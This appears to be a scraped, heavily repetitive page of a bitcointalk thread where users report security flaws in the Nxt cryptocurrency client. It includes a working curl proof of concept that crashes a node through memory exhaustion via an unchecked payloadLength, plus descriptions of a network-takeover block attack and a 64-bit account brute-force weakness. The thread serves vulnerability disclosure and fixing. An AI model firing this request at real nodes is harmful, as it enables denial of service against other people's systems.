Jaguar post your id (or pm)...
14544444716689899421 Thanks!
Topic: Nxt source code flaw reports - page 33. (Read 113369 times)
14544444716689899421 Thanks!
What's the feature? To make it easy for NXT to be stolen?
https://bitcointalksearch.org/topic/m.4352067
I don't understand your answer. Are you saying that there is less security so darknxt can be taken from accounts without public keys?
yes. They made it that way so DarkNXt are minable in the future. And not lost forever
You have to think like an attacker. They can do this by producing otherwise-valid blocks with high difficulties to knock out most of the network.
What do u mean?
I could be wrong, but it seems like some of the responses here assume a system of well-behaved participants. For threat-modeling you need to think like an attacker and how best to compromise the system.
For example, an attacker that wants to take over the NXT network could create a reasonably-looking block (e.g. it has a valid sender, recipient, password, etc.) and modify it slightly so that it difficulty is orders of magnitudes higher than the last block. All other nodes should accept his block because of the higher difficulty but nodes sending other blocks at that time would be blacklisted (for sending lower-complexity blocks). If the network was flooded with rouge agents sending high complexity blocks, I think it's possible for them to take over the network. And if they own the network they can do pretty much anything.
Jaguar post your id (or pm)...
What's the feature? To make it easy for NXT to be stolen?
https://bitcointalksearch.org/topic/m.4352067
I don't understand your answer. Are you saying that there is less security so darknxt can be taken from accounts without public keys?
Hey gang,
Any thoughts on this? https://nextcoin.org/index.php/topic,2418.0.html
Any thoughts on this? https://nextcoin.org/index.php/topic,2418.0.html
Quote
When a POST is done with "processBlock", there is no sanity check on "payloadLength". This means, an attacker could use this issue to DoS a node by keeping its heap exhausted all the time. This would trigger various OOM exceptions in other parts of the code.
Simple request causing 662.2 megs to be allocated:
curl "http://localhost:7874/nxt" -d '{"protocol": 1, "requestType": "processBlock", "version": 1, "blockTimestamp": 666, "timestamp": 666, "previousBlock": "666", "numberOfTransactions": 0, "totalAmount": 666, "totalFee": 1, "payloadLength": 662200000, "payloadHash": "deadbeef", "generatorPublicKey": "deadbeef", "generationSignature": "deadbeef", "blockSignature": "deadbeef"}'
* Tested against 0.5.0
Simple request causing 662.2 megs to be allocated:
curl "http://localhost:7874/nxt" -d '{"protocol": 1, "requestType": "processBlock", "version": 1, "blockTimestamp": 666, "timestamp": 666, "previousBlock": "666", "numberOfTransactions": 0, "totalAmount": 666, "totalFee": 1, "payloadLength": 662200000, "payloadHash": "deadbeef", "generatorPublicKey": "deadbeef", "generationSignature": "deadbeef", "blockSignature": "deadbeef"}'
* Tested against 0.5.0
I actually posted that earlier in this thread but everyone ignored it (https://bitcointalksearch.org/topic/m.4354551)
. 
Ok, so 0.5.2 doesn't fix the exploit yet.
It does re-scan the block-chain, but something in there seems to be causing an exception and ...Done is never reached. (I can see in the logs that there was a second re-scanning started).
Fixed, now testing it.It does re-scan the block-chain, but something in there seems to be causing an exception and ...Done is never reached. (I can see in the logs that there was a second re-scanning started).
Ok, so 0.5.2 doesn't fix the exploit yet.
It does re-scan the block-chain, but something in there seems to be causing an exception and ...Done is never reached. (I can see in the logs that there was a second re-scanning started).
It does re-scan the block-chain, but something in there seems to be causing an exception and ...Done is never reached. (I can see in the logs that there was a second re-scanning started).
To fix this weakness forever, a simple no money, no fee transaction could be executed. Whenever you open a wallet, if the NXT client notices that your account on the chain doesn't have a public key associated with, it could issue a 0nxt/0fee transaction that is meant to record the key.
So every new account which gets opened just for a second would get 'loaded' into the blockchain. then, someone would open thousands of thousands of accounts to bloat the blockchain just for fun. i don't like.
wrong?
I have no idea why this implementation did not start with Bitcoin ideas and improved on them.
This re-invent the wheel from scratch really isn't a good idea.
All one had to do was replace Bitcoin's proof of work with NXT proof of stake. But no, it was more like, let's building everything from the ground up.
To fix this weakness forever, a simple no money, no fee transaction could be executed. Whenever you open a wallet, if the NXT client notices that your account on the chain doesn't have a public key associated with, it could issue a 0nxt/0fee transaction that is meant to record the key.
So every new account which gets opened just for a second would get 'loaded' into the blockchain. then, someone would open thousands of thousands of accounts to bloat the blockchain just for fun. i don't like.
wrong?
Anyway, my 0.5.1 just had the usual negative blocks crash and tried to rescan everything...
Not sure if you already know... but 0.5.2 is out!
https://bitcointalksearch.org/topic/m.4371531
http://localhost:7874/update.html
Can someone send me the decompiled 0.5.2 sources!
Thanks in advance!
Let me google that for you: https://www.google.com/search?q=java+decompiler
First non-ad hit, just open the class file, look at the stuff
Anyway, my 0.5.1 just had the usual negative blocks crash and tried to rescan everything...
Not sure if you already know... but 0.5.2 is out!
https://bitcointalksearch.org/topic/m.4371531
http://localhost:7874/update.html
Can someone send me the decompiled 0.5.2 sources!
Thanks in advance!
i'll investigate why that is the case...
Don't waste time on that. Unconfirmed transactions list is not cleaned.
I know, already found that.
Also, can you synchronize the gui updates so the gui doesn't choke on the issue?
That's not very easy...
synchronize blocksAndTransactions {} around the requests that get blocks and transactions?
btw: the not deleted unconfirmed transactions also explain the incorrect block created problem since the client assumes that unconfirmed means unconfirmed and includes them into the block
[edit]
damn, i'm always so behind on everything... i mean, it's been out for minutes now, MINUTES... i must be faster next time
i'll investigate why that is the case...
Don't waste time on that. Unconfirmed transactions list is not cleaned.
I know, already found that.
Also, can you synchronize the gui updates so the gui doesn't choke on the issue?
That's not very easy...
i'll investigate why that is the case...
Don't waste time on that. Unconfirmed transactions list is not cleaned.
I know, already found that.
Also, can you synchronize the gui updates so the gui doesn't choke on the issue?
i'll investigate why that is the case...
Don't waste time on that. Unconfirmed transactions list is not cleaned.
2 small things in the Peer class:
- in addPeer you check whether address equals some strings that you consider to be localhost, but you don't catch all of them because of the new funny shorthand versions of ipv6 (e.g. ::1) or the even more funny ipv6/ipv4/mixups (e.g. 0:0:0:0:0:0:127.0.0.1). Why don't you convert it into a proper InetAddress and then use functions like isLoopbackAddress()? I haven't yet found anything I could exploit when your client is talking to itself, but such things often cause deadlocks.
- another one in addPeer: for most of the method, you accept announcedAddress to be something wrong and resort to address in that case. However, when you actually create the Peer object, you create it only with the announcedAddress, so you can end up with an Entry in your Peer Map that has a normal looking key (a working address) but the Peer actually doesn't contain any address at all.
On a different note: I can't find any code that divides an account's balance between peers that announced the same account in their hallmark...
It only computes the total weight of all peers and then divides accordingly. So if you have 300 nodes backed by the same 1M NXT account and one backed by 100M, you'll have a totalWeight of 400M and one of the 300 nodes will get chosen with a much higher probability than the one big node.
- in addPeer you check whether address equals some strings that you consider to be localhost, but you don't catch all of them because of the new funny shorthand versions of ipv6 (e.g. ::1) or the even more funny ipv6/ipv4/mixups (e.g. 0:0:0:0:0:0:127.0.0.1). Why don't you convert it into a proper InetAddress and then use functions like isLoopbackAddress()? I haven't yet found anything I could exploit when your client is talking to itself, but such things often cause deadlocks.
- another one in addPeer: for most of the method, you accept announcedAddress to be something wrong and resort to address in that case. However, when you actually create the Peer object, you create it only with the announcedAddress, so you can end up with an Entry in your Peer Map that has a normal looking key (a working address) but the Peer actually doesn't contain any address at all.
On a different note: I can't find any code that divides an account's balance between peers that announced the same account in their hallmark...
It only computes the total weight of all peers and then divides accordingly. So if you have 300 nodes backed by the same 1M NXT account and one backed by 100M, you'll have a totalWeight of 400M and one of the 300 nodes will get chosen with a much higher probability than the one big node.
Thx, peer communication needs a lot of changes, one day I'll fix them.
This code divides weight - https://bitbucket.org/JeanLucPicard/nxt-public/src/4073c21098076d3469b3f74d49e73ffabe3a2001/Nxt.java?at=master#cl-2483
No, that code divides by total reported weight, and in my case that was 400M, so adjusted weight for each of the 300 servers would be 1M/400M and not 1M/300/101M, what it should be.
Anyway, my 0.5.1 just had the usual negative blocks crash and tried to rescan everything... the gui didn't get much of it, so i had to refresh the tab, and now there are still a lot of unconfirmed transactions outstanding (which are actually included in the blocks already). i'll investigate why that is the case...
The 64bit issue you are talking about is real but trivial to fix, hard to exploit and easy to protect yourself against.
It is also obscure. It is not obvious that not having a public key associated with an account reduces its security by 64 bits.
Quote
It is easy to protect yourself against it because as soon as you do a transaction, the public key is going to be associated and your account will be safe.
It also associates a signature with the public key, which opens up theoretical attacks. DSA/ECDSA and its variants are based on much weaker assumptions than hash algorithms.
Quote
Now, you'll probably try to say that someone did crack a 64bit key previously and you are right. However, it took them over 4 years...
With pentium 3 processors starting in 1998.
Quote
Commodity hardware is able to generate ~250k accounts per minute right now.
2^63 / 250 000 = 36893488147419 min = 614891469124 hours = 25620477880 days = 70193090.082 years
I'm using 2^63 instead of 2^64 because of the "Birthday Problem"
No doubt this will be fixed in 70 million years...
2^63 / 250 000 = 36893488147419 min = 614891469124 hours = 25620477880 days = 70193090.082 years
I'm using 2^63 instead of 2^64 because of the "Birthday Problem"
No doubt this will be fixed in 70 million years...
This is not an apt description of the risk.
I think the goal of the 64-bits adresses is exactly to be "unsafe".
SO they can be bruteforced in the future with proper hardware. So all the DarkNxt are virtually minable and are not lost forever.
If you have a Nxt account and want to be safe forever, just do a transaction. It's simple
SO they can be bruteforced in the future with proper hardware. So all the DarkNxt are virtually minable and are not lost forever.
If you have a Nxt account and want to be safe forever, just do a transaction. It's simple
Jump to: